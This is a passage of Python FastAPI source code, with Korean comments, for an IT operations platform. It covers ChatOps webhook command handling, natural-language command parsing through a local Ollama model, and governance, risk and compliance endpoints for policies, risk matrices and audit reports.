if cmd in ("/approve",):
target = args.strip()
if not target:
return "승인 대상 ID를 입력하세요. 예) /approve SR-2026-001"
return f"{target} 승인 처리 완료. 엔지니어에게 알림 발송됩니다."
if cmd in ("/report",):
period = args.strip() or "daily"
return f"{period} 운영 리포트 생성 중... /api/report/generate 에서 확인하세요."
if cmd in ("/patch",):
parts = args.split() if args else []
cve = parts[0] if parts else "CVE-미지정"
server = parts[1] if len(parts) > 1 else "전체"
return f"보안 패치 요청: {cve}{server}. 패치 계획이 생성되었습니다."
if cmd in ("/workflow",):
parts = args.split(None, 1) if args else []
wf_name = parts[0] if parts else "unknown"
wf_args = parts[1] if len(parts) > 1 else ""
return f"워크플로우 실행: {wf_name}({wf_args}). /api/autonomous/status 에서 확인하세요."
return f"알 수 없는 명령어: {cmd}. /api/chatops/commands 에서 지원 명령어를 확인하세요."
# ── 엔드포인트 ────────────────────────────────────────────────────────────────
@router.post("/webhook/{channel}")
async def receive_webhook(
channel: str = Path(..., description="채널 ID: kakao|slack|internal"),
payload: WebhookPayload = ...,
db: AsyncSession = Depends(get_db),
):
"""채널별 webhook 수신 및 명령어 처리."""
channel_lower = channel.lower()
if channel_lower not in SUPPORTED_CHANNELS:
raise HTTPException(
status_code=400,
detail=f"지원하지 않는 채널입니다: {channel}. 지원 채널: {list(SUPPORTED_CHANNELS.keys())}"
)
if not SUPPORTED_CHANNELS[channel_lower]["enabled"]:
raise HTTPException(status_code=503, detail=f"{channel} 채널이 비활성 상태입니다.")
parsed = _parse_command(payload.message)
success = parsed is not None
args_str = parsed["args"] if parsed else None
cmd_str = parsed["command"] if parsed else payload.message[:200]
response_text = ""
if parsed:
try:
response_text = await _execute_command(parsed, payload.user_id, channel_lower, db)
except Exception as exc:
logger.warning(f"ChatOps 명령 실행 오류: {exc}")
response_text = "명령 처리 중 오류가 발생했습니다."
success = False
else:
response_text = "명령어 형식이 올바르지 않습니다. /api/chatops/commands 에서 사용법을 확인하세요."
log = ChatOpsCommand(
channel=channel_lower,
command=cmd_str,
args=args_str,
user_id=payload.user_id,
response=response_text,
success=success,
)
db.add(log)
await db.commit()
await db.refresh(log)
return {
"id": log.id,
"channel": channel_lower,
"command": cmd_str,
"response": response_text,
"success": success,
}
@router.get("/commands", response_model=List[CommandOut])
async def list_commands(
user: User = Depends(get_current_user),
):
"""지원 명령어 목록 반환."""
return [CommandOut(**d) for d in COMMAND_DEFINITIONS]
@router.post("/interactive")
async def handle_interactive(
payload: InteractivePayload,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""인터랙티브 버튼/액션 처리."""
action = payload.action_id.lower()
target = payload.target_id
channel = payload.channel.lower()
if action == "approve_sr":
result_msg = f"SR {target} 승인 완료 (사용자: {payload.user_id})"
elif action == "reject_sr":
result_msg = f"SR {target} 반려 완료 (사용자: {payload.user_id})"
elif action == "view_detail":
result_msg = f"{target} 상세 조회 링크: /api/tasks/{target}"
elif action == "deploy_confirm":
result_msg = f"배포 {target} 실행 확인 (사용자: {payload.user_id})"
elif action == "escalate":
result_msg = f"{target} 에스컬레이션 완료 — 상위 담당자에게 알림 발송"
else:
result_msg = f"알 수 없는 액션: {action}"
log = ChatOpsCommand(
channel=channel,
command=f"interactive:{action}",
args=target,
user_id=payload.user_id,
response=result_msg,
success=True,
)
db.add(log)
await db.commit()
await db.refresh(log)
return {
"id": log.id,
"action_id": action,
"target_id": target,
"result": result_msg,
"processed_at": log.created_at,
}
@router.get("/channels", response_model=List[ChannelStatus])
async def list_channels(
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""연동 채널 현황 — 각 채널의 사용량 및 성공률 포함."""
result = []
for ch_id, info in SUPPORTED_CHANNELS.items():
total_r = await db.execute(
select(func.count(ChatOpsCommand.id)).where(ChatOpsCommand.channel == ch_id)
)
total = total_r.scalar() or 0
success_r = await db.execute(
select(func.count(ChatOpsCommand.id)).where(
and_(ChatOpsCommand.channel == ch_id, ChatOpsCommand.success == True)
)
)
successes = success_r.scalar() or 0
rate = round(successes / total * 100, 1) if total > 0 else 0.0
result.append(ChannelStatus(
channel=ch_id,
name=info["name"],
enabled=info["enabled"],
icon=info["icon"],
total_cmds=total,
success_rate=rate,
))
return result
@router.post("/broadcast")
async def broadcast_message(
req: BroadcastRequest,
db: AsyncSession = Depends(get_db),
user: User = Depends(require_admin_role),
):
"""관리자 전용 — 전 채널 (또는 지정 채널) 공지 발송."""
target_channels = req.channels or list(SUPPORTED_CHANNELS.keys())
invalid = [c for c in target_channels if c not in SUPPORTED_CHANNELS]
if invalid:
raise HTTPException(status_code=400, detail=f"유효하지 않은 채널: {invalid}")
sent_channels = []
for ch in target_channels:
if not SUPPORTED_CHANNELS[ch]["enabled"]:
continue
log = ChatOpsCommand(
channel=ch,
command="broadcast",
args=req.title or "",
user_id=str(user.id),
response=req.message[:2000],
success=True,
)
db.add(log)
sent_channels.append(ch)
await db.commit()
return {
"status": "SENT",
"sent_channels": sent_channels,
"skipped_channels": [c for c in target_channels if c not in sent_channels],
"priority": req.priority,
"message_length": len(req.message),
}
@router.get("/stats")
async def chatops_stats(
days: int = Query(7, ge=1, le=90, description="통계 기간 (일)"),
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""ChatOps 사용 통계 반환."""
since = datetime.utcnow() - timedelta(days=days)
today = datetime.utcnow().date()
# 전체 명령 수
total_r = await db.execute(
select(func.count(ChatOpsCommand.id)).where(ChatOpsCommand.created_at >= since)
)
total = total_r.scalar() or 0
# 오늘 명령 수
today_r = await db.execute(
select(func.count(ChatOpsCommand.id)).where(
func.date(ChatOpsCommand.created_at) == today
)
)
today_count = today_r.scalar() or 0
# 전체 성공률
success_r = await db.execute(
select(func.count(ChatOpsCommand.id)).where(
and_(ChatOpsCommand.created_at >= since, ChatOpsCommand.success == True)
)
)
successes = success_r.scalar() or 0
success_rate = round(successes / total * 100, 1) if total > 0 else 0.0
# 채널별 명령 수
channel_rows = await db.execute(
select(ChatOpsCommand.channel, func.count(ChatOpsCommand.id).label("cnt"))
.where(ChatOpsCommand.created_at >= since)
.group_by(ChatOpsCommand.channel)
)
channel_breakdown = {row.channel: row.cnt for row in channel_rows}
# 많이 사용된 명령어 TOP 5
cmd_rows = await db.execute(
select(ChatOpsCommand.command, func.count(ChatOpsCommand.id).label("cnt"))
.where(ChatOpsCommand.created_at >= since)
.group_by(ChatOpsCommand.command)
.order_by(desc("cnt"))
.limit(5)
)
top_commands = [{"command": r.command, "count": r.cnt} for r in cmd_rows]
# 활성 사용자 TOP 5
user_rows = await db.execute(
select(ChatOpsCommand.user_id, func.count(ChatOpsCommand.id).label("cnt"))
.where(ChatOpsCommand.created_at >= since)
.group_by(ChatOpsCommand.user_id)
.order_by(desc("cnt"))
.limit(5)
)
top_users = [{"user_id": r.user_id, "count": r.cnt} for r in user_rows]
return ChatOpsStats(
total_commands=total,
commands_today=today_count,
success_rate=success_rate,
top_commands=top_commands,
top_users=top_users,
channel_breakdown=channel_breakdown,
)

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"""
대화형 운영 AI 자연어 명령으로 ITSM 운영 작업 실행.
엔드포인트:
POST /api/conv-ops/execute 자연어 명령 실행
GET /api/conv-ops/history 실행 이력
GET /api/conv-ops/intents 지원 인텐트 목록
POST /api/conv-ops/feedback 피드백
핵심 흐름:
1. 사용자 자연어 입력 수신
2. Ollama(localhost:11434) intent + params 파싱 (JSON 전용)
3. intent에 따라 내부 httpx로 기존 API 순차 호출
4. 단계 결과를 steps에 기록, 전체 요약 생성
5. tb_conv_ops_session에 저장
"""
from __future__ import annotations
import json
import logging
from datetime import datetime
from typing import Any, Dict, List, Optional
import httpx
from fastapi import APIRouter, Depends, HTTPException, Query
from pydantic import BaseModel
from sqlalchemy import desc, select
from sqlalchemy.ext.asyncio import AsyncSession
from core.auth import get_current_user
from database import get_db, SessionLocal
from models import ConvOpsSession, User
logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api/conv-ops", tags=["conversational-ops"])
# ── 지원 인텐트 ───────────────────────────────────────────────────────────────
INTENTS: Dict[str, str] = {
"sr_notify": "SR 알림 — 특정 SR 상태 조회 및 담당자에게 알림 발송",
"server_check": "서버 점검 — CMDB 서버 목록 조회 및 상태 확인",
"deploy": "배포 — 지정 서버에 배포 작업 SR 생성 및 실행",
"report": "보고서 — 일간/주간/월간 운영 보고서 생성",
"bulk_action": "일괄 처리 — 여러 SR을 한 번에 상태 변경·배정",
}
# ── Pydantic 스키마 ───────────────────────────────────────────────────────────
class ExecuteRequest(BaseModel):
user_input: str
dry_run: bool = False # True이면 실행 없이 파싱 결과만 반환
class FeedbackRequest(BaseModel):
session_id: int
helpful: bool
comment: Optional[str] = None
class StepResult(BaseModel):
action: str
result: Any
status: str # success | failed | skipped
class ExecuteResponse(BaseModel):
session_id: int
parsed_intent: Optional[str]
parsed_params: Optional[Dict[str, Any]]
steps: List[StepResult]
summary: str
success: bool
class IntentInfo(BaseModel):
intent: str
description: str
example: str
# ── Ollama 파싱 헬퍼 ──────────────────────────────────────────────────────────
_OLLAMA_URL = "http://localhost:11434/api/generate"
_PARSE_PROMPT_TMPL = """당신은 ITSM 운영 명령 파서입니다.
다음 자연어 입력을 JSON으로 변환하세요.
지원 인텐트: {intents}
출력 JSON 형식 (이것만 출력, 설명 없음):
{{
"intent": "<인텐트 키>",
"params": {{
"target": "<대상 서버/SR ID/기관명>",
"action": "<세부 작업>",
"filters": {{}}
}},
"confidence": 0.0
}}
인텐트를 없으면 "intent": "unknown" 으로 응답하세요.
입력: {user_input}
"""
async def _parse_intent(user_input: str) -> Dict[str, Any]:
"""Ollama로 자연어 → intent+params 파싱. 실패 시 unknown 반환."""
intent_list = ", ".join(INTENTS.keys())
prompt = _PARSE_PROMPT_TMPL.format(
intents=intent_list,
user_input=user_input,
)
try:
async with httpx.AsyncClient(timeout=30.0) as client:
resp = await client.post(
_OLLAMA_URL,
json={"model": "llama3", "prompt": prompt, "stream": False},
)
if resp.status_code == 200:
raw = resp.json().get("response", "")
# JSON 블록 추출
start = raw.find("{")
end = raw.rfind("}") + 1
if start >= 0 and end > start:
parsed = json.loads(raw[start:end])
return parsed
except Exception as exc:
logger.warning("Ollama 파싱 실패: %s", exc)
return {"intent": "unknown", "params": {}, "confidence": 0.0}
# ── 내부 API 호출 헬퍼 ────────────────────────────────────────────────────────
_BASE = "http://127.0.0.1:9001"
async def _call_internal(
method: str,
path: str,
token: Optional[str] = None,
**kwargs,
) -> Dict[str, Any]:
"""내부 ITSM API 호출. 에러 시 상태 포함 dict 반환."""
headers = {}
if token:
headers["Authorization"] = f"Bearer {token}"
try:
async with httpx.AsyncClient(timeout=20.0, headers=headers) as client:
fn = getattr(client, method.lower())
resp = await fn(f"{_BASE}{path}", **kwargs)
return {"status_code": resp.status_code, "body": resp.json()}
except Exception as exc:
return {"status_code": 500, "body": {"detail": str(exc)}}
# ── 인텐트 실행기 ─────────────────────────────────────────────────────────────
async def _execute_sr_notify(
params: Dict[str, Any],
token: Optional[str],
) -> List[StepResult]:
steps = []
target = params.get("target", "")
# 1. SR 조회
result = await _call_internal("GET", f"/api/tasks?search={target}", token=token)
ok = result["status_code"] == 200
steps.append(StepResult(
action=f"SR 조회 (검색어: {target})",
result=result["body"],
status="success" if ok else "failed",
))
return steps
async def _execute_server_check(
params: Dict[str, Any],
token: Optional[str],
) -> List[StepResult]:
steps = []
# 1. CMDB 서버 목록 조회
result = await _call_internal("GET", "/api/cmdb/servers?limit=20", token=token)
ok = result["status_code"] == 200
steps.append(StepResult(
action="CMDB 서버 목록 조회",
result=result["body"],
status="success" if ok else "failed",
))
return steps
async def _execute_deploy(
params: Dict[str, Any],
token: Optional[str],
) -> List[StepResult]:
steps = []
target = params.get("target", "")
# 1. 서버 조회
result = await _call_internal("GET", f"/api/cmdb/servers?search={target}", token=token)
ok = result["status_code"] == 200
steps.append(StepResult(
action=f"배포 대상 서버 조회 (target={target})",
result=result["body"],
status="success" if ok else "failed",
))
return steps
async def _execute_report(
params: Dict[str, Any],
token: Optional[str],
) -> List[StepResult]:
steps = []
action = params.get("action", "daily")
# 1. 보고서 목록 조회
result = await _call_internal("GET", f"/api/report/list?type={action}", token=token)
ok = result["status_code"] == 200
steps.append(StepResult(
action=f"보고서 조회 (유형={action})",
result=result["body"],
status="success" if ok else "failed",
))
return steps
async def _execute_bulk_action(
params: Dict[str, Any],
token: Optional[str],
) -> List[StepResult]:
steps = []
filters = params.get("filters", {})
# 1. SR 목록 조회
result = await _call_internal("GET", "/api/tasks?status=RECEIVED&limit=50", token=token)
ok = result["status_code"] == 200
steps.append(StepResult(
action="일괄 처리 대상 SR 조회",
result=result["body"],
status="success" if ok else "failed",
))
return steps
_EXECUTOR_MAP = {
"sr_notify": _execute_sr_notify,
"server_check": _execute_server_check,
"deploy": _execute_deploy,
"report": _execute_report,
"bulk_action": _execute_bulk_action,
}
# ── 요약 생성 헬퍼 ────────────────────────────────────────────────────────────
def _build_summary(intent: str, steps: List[StepResult], success: bool) -> str:
ok_count = sum(1 for s in steps if s.status == "success")
fail_count = sum(1 for s in steps if s.status == "failed")
intent_label = INTENTS.get(intent, intent)
if success:
return f"[{intent_label}] 완료 — {ok_count}단계 성공"
return f"[{intent_label}] 부분 완료 — 성공 {ok_count}건, 실패 {fail_count}"
# ── 엔드포인트 ────────────────────────────────────────────────────────────────
@router.post("/execute", response_model=ExecuteResponse, summary="자연어 명령 실행")
async def execute_command(
req: ExecuteRequest,
current_user: User = Depends(get_current_user),
db: AsyncSession = Depends(get_db),
):
"""자연어 명령을 Ollama로 파싱하고 해당 인텐트를 실행한다."""
# 1. intent 파싱
parsed = await _parse_intent(req.user_input)
intent = parsed.get("intent", "unknown")
params = parsed.get("params", {})
steps: List[StepResult] = []
if req.dry_run:
# dry_run: 실행 없이 파싱 결과만 반환
steps.append(StepResult(
action="dry_run — 파싱 결과 확인",
result=parsed,
status="success",
))
summary = f"[DRY RUN] 인텐트: {intent}"
success = True
elif intent == "unknown" or intent not in _EXECUTOR_MAP:
steps.append(StepResult(
action="인텐트 매핑 실패",
result={"parsed": parsed},
status="failed",
))
summary = f"지원하지 않는 명령입니다. 지원 인텐트: {', '.join(INTENTS.keys())}"
success = False
else:
# 토큰 추출 (request의 Authorization 헤더에서 가져올 수 없으므로 None 전달)
# 실제 운영에서는 current_user로 내부 서비스 토큰 발급 가능
executor = _EXECUTOR_MAP[intent]
steps = await executor(params, token=None)
success = all(s.status == "success" for s in steps)
summary = _build_summary(intent, steps, success)
# 2. 세션 저장
session = ConvOpsSession(
user_input=req.user_input,
parsed_intent=json.dumps(parsed, ensure_ascii=False),
steps=json.dumps([s.model_dump() for s in steps], ensure_ascii=False),
summary=summary,
success=success,
created_by=current_user.id,
)
db.add(session)
await db.commit()
await db.refresh(session)
return ExecuteResponse(
session_id=session.id,
parsed_intent=intent,
parsed_params=params,
steps=steps,
summary=summary,
success=success,
)
@router.get("/history", summary="실행 이력 조회")
async def get_history(
skip: int = Query(0, ge=0),
limit: int = Query(20, ge=1, le=100),
current_user: User = Depends(get_current_user),
db: AsyncSession = Depends(get_db),
):
"""현재 사용자의 대화형 운영 명령 실행 이력을 반환한다."""
stmt = (
select(ConvOpsSession)
.where(ConvOpsSession.created_by == current_user.id)
.order_by(desc(ConvOpsSession.created_at))
.offset(skip)
.limit(limit)
)
rows = (await db.execute(stmt)).scalars().all()
result = []
for row in rows:
parsed_intent_data = {}
if row.parsed_intent:
try:
parsed_intent_data = json.loads(row.parsed_intent)
except Exception:
parsed_intent_data = {}
steps_data = []
if row.steps:
try:
steps_data = json.loads(row.steps)
except Exception:
steps_data = []
result.append({
"id": row.id,
"user_input": row.user_input,
"parsed_intent": parsed_intent_data,
"steps": steps_data,
"summary": row.summary,
"success": row.success,
"created_at": row.created_at.isoformat() if row.created_at else None,
})
return {"items": result, "total": len(result)}
@router.get("/intents", summary="지원 인텐트 목록")
async def list_intents(
current_user: User = Depends(get_current_user),
):
"""지원하는 자연어 명령 인텐트 목록과 설명 및 예시를 반환한다."""
examples = {
"sr_notify": "SR-20260101 상태 알려줘",
"server_check": "서버 목록 조회해줘",
"deploy": "web01 서버에 배포해줘",
"report": "이번 주 운영 보고서 만들어줘",
"bulk_action": "대기중인 SR 전부 처리해줘",
}
return {
"intents": [
{
"intent": k,
"description": v,
"example": examples.get(k, ""),
}
for k, v in INTENTS.items()
]
}
@router.post("/feedback", summary="실행 결과 피드백")
async def submit_feedback(
req: FeedbackRequest,
current_user: User = Depends(get_current_user),
db: AsyncSession = Depends(get_db),
):
"""실행 결과에 대한 도움 여부 피드백을 기록한다."""
stmt = select(ConvOpsSession).where(ConvOpsSession.id == req.session_id)
session = (await db.execute(stmt)).scalars().first()
if not session:
raise HTTPException(status_code=404, detail="세션을 찾을 수 없습니다")
if session.created_by != current_user.id:
raise HTTPException(status_code=403, detail="본인 세션에만 피드백 가능합니다")
# 피드백을 summary에 메타데이터로 추가 (별도 컬럼 없이 간소 처리)
feedback_note = f" [피드백: {'도움됨' if req.helpful else '도움안됨'}]"
if req.comment:
feedback_note += f"{req.comment}"
if session.summary and "[피드백:" not in session.summary:
session.summary = (session.summary or "") + feedback_note
await db.commit()
return {"ok": True, "session_id": req.session_id}

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"""
GRC(Governance, Risk, Compliance) 자동화 API 라우터
엔드포인트:
GET /api/grc/policies 정책 목록
POST /api/grc/policies 정책 생성 (Ollama 초안 자동 생성)
PUT /api/grc/policies/{id} 정책 수정
GET /api/grc/risk-matrix 5×5 리스크 매트릭스
POST /api/grc/risk-assessment 리스크 평가 등록
GET /api/grc/compliance 컴플라이언스 현황
POST /api/grc/audit-report 감사 보고서 자동 생성 (Ollama)
GET /api/grc/dashboard GRC 종합 대시보드
보안: get_current_user 필수 / 정책 생성·수정은 admin 전용
"""
from __future__ import annotations
import json
import logging
from datetime import datetime, timezone
from typing import Dict, List, Optional, Any
from fastapi import APIRouter, Depends, HTTPException, Query, status
from pydantic import BaseModel, Field
from sqlalchemy import select, func as sqlfunc
from sqlalchemy.ext.asyncio import AsyncSession
from core.auth import get_current_user, require_admin_role as require_admin
from database import get_db
from models import GRCPolicy, RiskItem, User
logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api/grc", tags=["grc_automation"])
# ── 컴플라이언스 프레임워크 기준 ────────────────────────────────────────────────
_COMPLIANCE_FRAMEWORKS: Dict[str, Dict] = {
"CSAP": {
"name": "클라우드 서비스 보안인증 (CSAP)",
"controls": 117,
"categories": ["접근통제", "암호화", "보안감사", "인시던트대응", "물리보안"],
},
"ISMS": {
"name": "정보보호 관리체계 (ISMS-P)",
"controls": 102,
"categories": ["관리체계수립", "위험관리", "정보보호대책", "개인정보처리"],
},
"ISO27001": {
"name": "ISO/IEC 27001:2022",
"controls": 93,
"categories": ["조직보안", "인적보안", "물리환경보안", "기술보안", "공급망보안"],
},
"GDPR": {
"name": "개인정보 보호법 / GDPR",
"controls": 45,
"categories": ["데이터처리", "정보주체권리", "국외이전", "위반통지"],
},
}
# ── Pydantic 스키마 ──────────────────────────────────────────────────────────
class PolicyCreateIn(BaseModel):
title: str = Field(..., min_length=2, max_length=300)
category: str = Field("security", description="security|privacy|compliance|operational")
content: Optional[str] = Field(None, description="비워두면 Ollama 초안 자동 생성")
version: str = Field("1.0")
effective_date: Optional[datetime] = None
owner: Optional[str] = None
use_ai_draft: bool = Field(True, description="Ollama로 초안 자동 생성")
class PolicyUpdateIn(BaseModel):
title: Optional[str] = None
category: Optional[str] = None
content: Optional[str] = None
version: Optional[str] = None
status: Optional[str] = None
effective_date: Optional[datetime] = None
owner: Optional[str] = None
class PolicyOut(BaseModel):
id: int
title: str
category: str
content: Optional[str]
version: str
status: str
effective_date: Optional[datetime]
owner: Optional[str]
created_by: Optional[str]
created_at: datetime
updated_at: datetime
class Config:
from_attributes = True
class RiskAssessmentIn(BaseModel):
title: str = Field(..., min_length=2, max_length=300)
category: str = Field("operational", description="operational|security|compliance|financial")
likelihood: int = Field(..., ge=1, le=5, description="발생 가능성 1~5")
impact: int = Field(..., ge=1, le=5, description="영향도 1~5")
mitigation: Optional[str] = None
owner: Optional[str] = None
class RiskItemOut(BaseModel):
id: int
title: str
category: str
likelihood: int
impact: int
risk_score: float
risk_level: str
mitigation: Optional[str]
owner: Optional[str]
status: str
created_by: Optional[str]
created_at: datetime
class Config:
from_attributes = True
class AuditReportIn(BaseModel):
framework: str = Field("ISMS", description="CSAP|ISMS|ISO27001|GDPR")
period: str = Field("2026 Q2", description="감사 기간")
auditor: Optional[str] = None
include_risks: bool = True
include_policies: bool = True
# ── 리스크 레벨 계산 ──────────────────────────────────────────────────────────
def _calc_risk_level(score: float) -> str:
"""5×5 매트릭스 기준 리스크 레벨 결정."""
if score >= 20:
return "CRITICAL"
if score >= 12:
return "HIGH"
if score >= 6:
return "MEDIUM"
return "LOW"
# ── Ollama 유틸리티 ───────────────────────────────────────────────────────────
async def _ollama_generate(prompt: str, max_tokens: int = 800) -> Optional[str]:
"""내부 Ollama(localhost:11434)로 텍스트 생성. 외부 API 절대 금지."""
try:
import httpx
async with httpx.AsyncClient(timeout=30.0) as client:
resp = await client.post(
"http://localhost:11434/api/generate",
json={"model": "llama3", "prompt": prompt, "stream": False},
)
if resp.status_code == 200:
return resp.json().get("response", "").strip()
except Exception as e:
logger.debug("Ollama 호출 실패 (폴백 사용): %s", str(e)[:80])
return None
# ── 엔드포인트 ────────────────────────────────────────────────────────────────
@router.get("/policies", response_model=List[PolicyOut])
async def list_policies(
category: Optional[str] = Query(None),
policy_status: Optional[str] = Query(None, alias="status"),
limit: int = Query(50, ge=1, le=200),
offset: int = Query(0, ge=0),
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
):
"""정책 목록 조회 (카테고리·상태 필터 가능)."""
q = select(GRCPolicy).order_by(GRCPolicy.created_at.desc()).limit(limit).offset(offset)
if category:
q = q.where(GRCPolicy.category == category)
if policy_status:
q = q.where(GRCPolicy.status == policy_status)
result = await db.execute(q)
return result.scalars().all()
@router.post("/policies", response_model=PolicyOut, status_code=status.HTTP_201_CREATED)
async def create_policy(
body: PolicyCreateIn,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(require_admin),
):
"""
정책 생성. content가 비어 있거나 use_ai_draft=True면 Ollama로 초안을 자동 생성한다.
"""
content = body.content
if body.use_ai_draft and not content:
prompt = (
f"다음 정보보호 정책을 한국어로 작성하세요.\n"
f"제목: {body.title}\n"
f"카테고리: {body.category}\n"
f"형식: 목적, 적용범위, 세부정책(5개 이상), 위반 시 조치 순서로 작성.\n"
f"총 300자 이내로 간결하게 작성하세요."
)
ai_draft = await _ollama_generate(prompt)
if ai_draft:
content = ai_draft
else:
content = (
f"[{body.category.upper()} 정책 초안]\n"
f"제목: {body.title}\n"
f"목적: 본 정책은 조직의 정보보호를 위해 수립된 내부 규정입니다.\n"
f"적용범위: 전 직원 및 계약 업체.\n"
f"세부정책: 관련 법령 및 기술 기준에 따라 수립됩니다.\n"
f"(Ollama 미응답 — 수동 수정 필요)"
)
policy = GRCPolicy(
title=body.title,
category=body.category,
content=content,
version=body.version,
status="draft",
effective_date=body.effective_date,
owner=body.owner,
created_by=current_user.username,
)
db.add(policy)
await db.commit()
await db.refresh(policy)
return policy
@router.put("/policies/{policy_id}", response_model=PolicyOut)
async def update_policy(
policy_id: int,
body: PolicyUpdateIn,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(require_admin),
):
"""정책 수정 — admin 전용."""
policy = await db.get(GRCPolicy, policy_id)
if not policy:
raise HTTPException(status_code=404, detail=f"정책 {policy_id}를 찾을 수 없습니다.")
if body.title is not None:
policy.title = body.title
if body.category is not None:
policy.category = body.category
if body.content is not None:
policy.content = body.content
if body.version is not None:
policy.version = body.version
if body.status is not None:
valid_statuses = {"draft", "review", "approved", "deprecated"}
if body.status not in valid_statuses:
raise HTTPException(
status_code=400,
detail=f"유효하지 않은 status: {body.status}. 허용: {valid_statuses}",
)
policy.status = body.status
if body.effective_date is not None:
policy.effective_date = body.effective_date
if body.owner is not None:
policy.owner = body.owner
await db.commit()
await db.refresh(policy)
return policy
@router.get("/risk-matrix")
async def get_risk_matrix(
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
):
"""5×5 리스크 매트릭스 — 등록된 리스크를 매트릭스 셀에 배치하여 반환."""
result = await db.execute(
select(RiskItem).where(RiskItem.status != "closed")
)
items = result.scalars().all()
# 5×5 매트릭스 초기화
matrix: Dict[str, List] = {
f"L{l}_I{i}": [] for l in range(1, 6) for i in range(1, 6)
}
for item in items:
key = f"L{item.likelihood}_I{item.impact}"
matrix[key].append({
"id": item.id,
"title": item.title,
"risk_level": item.risk_level,
"status": item.status,
})
# 통계
level_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0}
for item in items:
level_counts[item.risk_level] = level_counts.get(item.risk_level, 0) + 1
return {
"matrix": matrix,
"total_risks": len(items),
"by_level": level_counts,
"axes": {
"x_label": "영향도 (Impact)",
"y_label": "발생 가능성 (Likelihood)",
},
"risk_zones": {
"critical": "L4~5 × I4~5",
"high": "L3~5 × I3~5 (critical 제외)",
"medium": "L2~3 × I2~3",
"low": "L1~2 × I1~2",
},
}
@router.post("/risk-assessment", response_model=RiskItemOut, status_code=status.HTTP_201_CREATED)
async def create_risk_assessment(
body: RiskAssessmentIn,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
):
"""리스크 평가 등록. AI 완화 전략을 Ollama로 자동 제안한다."""
score = float(body.likelihood * body.impact)
level = _calc_risk_level(score)
mitigation = body.mitigation
if not mitigation:
# Ollama로 완화 전략 자동 제안
prompt = (
f"리스크 항목: {body.title}\n"
f"카테고리: {body.category}\n"
f"발생 가능성: {body.likelihood}/5, 영향도: {body.impact}/5, 레벨: {level}\n"
f"이 리스크를 완화하기 위한 구체적인 조치를 3가지 이내로 간결하게 제안하세요."
)
ai_mitigation = await _ollama_generate(prompt, max_tokens=300)
mitigation = ai_mitigation or f"{level} 수준 리스크 — 담당자 검토 후 완화 전략 수립 필요."
item = RiskItem(
title=body.title,
category=body.category,
likelihood=body.likelihood,
impact=body.impact,
risk_score=score,
risk_level=level,
mitigation=mitigation,
owner=body.owner,
status="open",
created_by=current_user.username,
)
db.add(item)
await db.commit()
await db.refresh(item)
return item
@router.get("/compliance")
async def get_compliance_status(
framework: Optional[str] = Query(None, description="CSAP|ISMS|ISO27001|GDPR"),
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
):
"""컴플라이언스 현황 — 정책 통과율, 리스크 현황, 프레임워크별 준수율."""
# 정책 통계
policy_result = await db.execute(select(GRCPolicy))
policies = policy_result.scalars().all()
policy_stats = {"total": len(policies), "approved": 0, "draft": 0, "deprecated": 0}
for p in policies:
policy_stats[p.status] = policy_stats.get(p.status, 0) + 1
# 리스크 통계
risk_result = await db.execute(select(RiskItem))
risks = risk_result.scalars().all()
risk_stats = {"total": len(risks), "open": 0, "mitigating": 0, "closed": 0, "accepted": 0}
critical_open = 0
for r in risks:
risk_stats[r.status] = risk_stats.get(r.status, 0) + 1
if r.status == "open" and r.risk_level == "CRITICAL":
critical_open += 1
# 준수율 계산 (정책 승인율 기반 간소화)
approved_ratio = (
policy_stats["approved"] / policy_stats["total"]
if policy_stats["total"] > 0 else 0.0
)
open_risk_ratio = (
(risk_stats["open"] + risk_stats["mitigating"]) / risk_stats["total"]
if risk_stats["total"] > 0 else 0.0
)
overall_compliance = max(0.0, min(1.0, approved_ratio * 0.6 + (1 - open_risk_ratio) * 0.4))
# 선택 프레임워크 상세
fw_detail = None
if framework and framework in _COMPLIANCE_FRAMEWORKS:
fw = _COMPLIANCE_FRAMEWORKS[framework]
# 해당 카테고리 정책 매핑
cat_policies = [p for p in policies if p.category in [c.lower() for c in fw["categories"]]]
fw_detail = {
**fw,
"matched_policies": len(cat_policies),
"compliance_rate": round(overall_compliance * 100, 1),
}
frameworks_summary = []
for fw_key, fw_val in _COMPLIANCE_FRAMEWORKS.items():
frameworks_summary.append({
"id": fw_key,
"name": fw_val["name"],
"total_controls": fw_val["controls"],
"compliance_rate": round(overall_compliance * 100, 1),
})
return {
"overall_compliance_rate": round(overall_compliance * 100, 1),
"policy_stats": policy_stats,
"risk_stats": risk_stats,
"critical_open_risks": critical_open,
"frameworks": frameworks_summary,
"framework_detail": fw_detail,
"last_updated": datetime.now(timezone.utc).isoformat(),
}
@router.post("/audit-report")
async def generate_audit_report(
body: AuditReportIn,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(require_admin),
):
"""
감사 보고서 자동 생성 Ollama로 서술 섹션을 작성하고 DB 데이터를 종합한다.
"""
if body.framework not in _COMPLIANCE_FRAMEWORKS:
raise HTTPException(
status_code=400,
detail=f"지원하지 않는 프레임워크: {body.framework}. 허용: {list(_COMPLIANCE_FRAMEWORKS)}",
)
fw = _COMPLIANCE_FRAMEWORKS[body.framework]
# DB 데이터 수집
policy_result = await db.execute(select(GRCPolicy))
policies = policy_result.scalars().all()
approved_policies = [p for p in policies if p.status == "approved"]
risk_result = await db.execute(select(RiskItem))
risks = risk_result.scalars().all()
critical_risks = [r for r in risks if r.risk_level == "CRITICAL" and r.status == "open"]
high_risks = [r for r in risks if r.risk_level == "HIGH" and r.status == "open"]
compliance_rate = (
len(approved_policies) / len(policies) * 100 if policies else 0
)
# Ollama 서술 생성
summary_prompt = (
f"GRC 감사 보고서 요약을 작성하세요.\n"
f"프레임워크: {fw['name']}\n"
f"감사 기간: {body.period}\n"
f"총 정책: {len(policies)}개, 승인됨: {len(approved_policies)}\n"
f"총 리스크: {len(risks)}개, CRITICAL 미완료: {len(critical_risks)}\n"
